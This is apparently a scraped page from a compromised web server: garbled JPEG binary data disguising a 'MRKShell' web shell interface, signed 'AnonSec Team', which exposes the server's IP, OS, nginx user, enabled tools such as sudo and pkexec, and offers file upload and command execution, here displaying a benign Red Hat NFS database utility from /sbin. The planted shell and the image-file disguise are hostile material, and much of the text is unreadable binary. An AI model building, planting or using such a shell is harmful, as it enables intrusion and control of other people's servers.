JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.235
Web Server : nginx/1.14.1
System : Linux comtuc-2020-nyc3-01 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /sbin/nfsdclddb
#!/usr/libexec/platform-python
"""Tool for manipulating the nfsdcld sqlite database
"""

__copyright__ = """
Copyright (C) 2019 Scott Mayhew <smayhew@redhat.com>

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA  02110-1301, USA.
"""

import argparse
import os
import sqlite3
import sys


class CldDb():
    def __init__(self, path):
        self.con = sqlite3.connect(path)
        self.con.row_factory = sqlite3.Row
        for row in self.con.execute('select value from parameters '
                                    'where key = "version"'):
            self.version = int(row['value'])
        for row in self.con.execute('select * from grace'):
            self.current = int(row['current'])
            self.recovery = int(row['recovery'])

    def __del__(self):
        self.con.close()

    def __str__(self):
        return ('Schema version: {self.version} '
                'current epoch: {self.current} '
                'recovery epoch: {self.recovery}'.format(self=self))

    def _print_clients(self, epoch):
        if epoch:
            for row in self.con.execute('select * from "rec-{:016x}"'
                                        .format(epoch)):
                if self.version >= 4:
                    if row['princhash'] is not None:
                        princhash = row['princhash'].hex()
                    else:
                        princhash = "(null)"
                    print('id = {}, princhash = {}'
                          .format(row['id'].decode(), princhash))
                else:
                    print('id = {}'.format(row['id'].decode()))

    def print_current_clients(self):
        print('Clients in current epoch:')
        self._print_clients(self.current)

    def print_recovery_clients(self):
        if self.recovery:
            print('Clients in recovery epoch:')
            self._print_clients(self.recovery)

    def check_bad_table_names(self):
        bad_names = []
        for row in self.con.execute('select name from sqlite_master '
                                    'where type = "table" '
                                    'and name like "%rec-%" '
                                    'and length(name) < 20'):
            bad_names.append(row['name'])
        return bad_names

    def fix_bad_table_names(self):
        try:
            self.con.execute('begin exclusive transaction')
            bad_names = self.check_bad_table_names()
            for bad_name in bad_names:
                epoch = int(bad_name.split('-')[1], base=16)
                if epoch == self.current or epoch == self.recovery:
                    if epoch == self.current:
                        which = 'current'
                    else:
                        which = 'recovery'
                    print('found invalid table name {} for {} epoch'
                          .format(bad_name, which))
                    self.con.execute('alter table "{}" '
                                     'rename to "rec-{:016x}"'
                                     .format(bad_name, epoch))
                    print('renamed to rec-{:016x}'.format(epoch))
                else:
                    print('found invalid table name {} for unknown epoch {}'
                          .format(bad_name, epoch))
                    self.con.execute('drop table "{}"'.format(bad_name))
                    print('dropped table {}'.format(bad_name))
        except sqlite3.Error:
            self.con.rollback()
        else:
            self.con.commit()

    def has_princ_data(self):
        if self.version < 4:
            return False
        for row in self.con.execute('select count(*) '
                                    'from "rec-{:016x}" '
                                    'where princhash not null'
                                    .format(self.current)):
            count = row[0]
        if self.recovery:
            for row in self.con.execute('select count(*) '
                                        'from "rec-{:016x}" '
                                        'where princhash not null'
                                        .format(self.current)):
                count = count + row[0]
        if count:
            return True
        return False

    def _downgrade_table_v4_to_v3(self, epoch):
        if not self.con.in_transaction:
            raise sqlite3.Error
        try:
            self.con.execute('create table "new_rec-{:016x}" '
                             '(id blob primary key)'.format(epoch))
            self.con.execute('insert into "new_rec-{:016x}" '
                             'select id from "rec-{:016x}"'
                             .format(epoch, epoch))
            self.con.execute('drop table "rec-{:016x}"'.format(epoch))
            self.con.execute('alter table "new_rec-{:016x}" '
                             'rename to "rec-{:016x}"'
                             .format(epoch, epoch))
        except sqlite3.Error:
            raise

    def downgrade_schema_v4_to_v3(self):
        try:
            self.con.execute('begin exclusive transaction')
            for row in self.con.execute('select value from parameters '
                                        'where key = "version"'):
                version = int(row['value'])
            if version != self.version:
                raise sqlite3.Error
            for row in self.con.execute('select * from grace'):
                current = int(row['current'])
                recovery = int(row['recovery'])
            if current != self.current:
                raise sqlite3.Error
            if recovery != self.recovery:
                raise sqlite3.Error
            self._downgrade_table_v4_to_v3(current)
            if recovery:
                self._downgrade_table_v4_to_v3(recovery)
            self.con.execute('update parameters '
                             'set value = "3" '
                             'where key = "version"')
            self.version = 3
        except sqlite3.Error:
            self.con.rollback()
            print('Downgrade failed')
        else:
            self.con.commit()
            print('Downgrade successful')


def nfsdcld_active():
    rc = os.system('ps -C nfsdcld >/dev/null 2>/dev/null')
    if rc == 0:
        return True
    return False


def fix_table_names_command(db, args):
    if nfsdcld_active():
        print('Warning: nfsdcld is running!')
        ans = input('Continue? ')
        if ans.lower() not in ['y', 'yes']:
            print('Operation canceled.')
            return
    bad_names = db.check_bad_table_names()
    if not bad_names:
        print('No invalid table names found.')
        return
    db.fix_bad_table_names()


def downgrade_schema_command(db, args):
    if nfsdcld_active():
        print('Warning: nfsdcld is running!')
        ans = input('Continue? ')
        if ans.lower() not in ['y', 'yes']:
            print('Operation canceled')
            return
    if db.version != 4:
        print('Cannot downgrade database from schema version {}.'
              .format(db.version))
        return
    if args.version != 3:
        print('Cannot downgrade to version {}.'.format(args.version))
        return
    bad_names = db.check_bad_table_names()
    if bad_names:
        print('Invalid table names detected.')
        print('Please run "{} fix-table-names" before downgrading the schema.'
              .format(sys.argv[0]))
        return
    if db.has_princ_data():
        print('Warning: database has principal data, which will be erased.')
        ans = input('Continue? ')
        if ans.lower() not in ['y', 'yes']:
            print('Operation canceled')
            return
    db.downgrade_schema_v4_to_v3()


def print_command(db, args):
    print(str(db))
    if not args.summary:
        bad_names = db.check_bad_table_names()
        if bad_names:
            print('Invalid table names detected.')
            print('Please run "{} fix-table-names".'.format(sys.argv[0]))
            return
        db.print_current_clients()
        db.print_recovery_clients()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--path',
                        default='/var/lib/nfs/nfsdcld/main.sqlite',
                        help='path to the database '
                        '(default: /var/lib/nfs/nfsdcld/main.sqlite)')
    subparsers = parser.add_subparsers(help='sub-command help')
    fix_parser = subparsers.add_parser('fix-table-names',
                                       help='fix invalid table names')
    fix_parser.set_defaults(func=fix_table_names_command)
    downgrade_parser = subparsers.add_parser('downgrade-schema',
                                             help='downgrade database schema')
    downgrade_parser.add_argument('-v', '--version', type=int, choices=[3],
                                  default=3,
                                  help='version to downgrade to')
    downgrade_parser.set_defaults(func=downgrade_schema_command)
    print_parser = subparsers.add_parser('print',
                                         help='print database info')
    print_parser.add_argument('-s', '--summary', default=False,
                              action='store_true',
                              help='print summary only')
    print_parser.set_defaults(func=print_command)
    args = parser.parse_args()
    if not os.path.exists(args.path):
        return parser.print_usage()
    clddb = CldDb(args.path)
    return args.func(clddb, args)


if __name__ == '__main__':
    if len(sys.argv) == 1:
        sys.argv.extend(['print', '--summary'])
    main()

Anon7 - 2022
AnonSec Team